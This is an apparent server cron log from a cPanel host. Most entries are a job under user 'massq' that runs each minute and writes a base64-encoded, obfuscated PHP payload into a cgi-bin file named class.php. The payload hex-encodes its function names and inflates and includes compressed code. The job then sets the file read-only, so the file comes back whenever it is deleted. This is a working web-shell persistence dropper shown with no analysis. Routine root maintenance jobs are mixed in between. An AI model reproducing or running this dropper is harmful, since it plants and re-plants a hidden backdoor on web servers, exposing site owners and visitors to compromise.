Nov 13 08:27:01 server CROND[29985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:27:01 server CROND[29986]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:28:01 server CROND[30839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:29:01 server CROND[31873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:30:01 server CROND[32729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:30:01 server CROND[32728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:30:01 server CROND[32730]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 08:30:01 server CROND[32734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:30:01 server CROND[32735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:31:02 server CROND[1293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:32:01 server CROND[2144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:33:01 server CROND[3010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:34:01 server CROND[3919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:35:01 server CROND[4791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:35:01 server CROND[4792]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 08:35:01 server CROND[4793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:35:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:35:01 server CROND[4795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 08:36:01 server CROND[5713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:37:01 server CROND[6674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:38:01 server CROND[7588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:39:01 server CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:39:01 server CROND[8028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
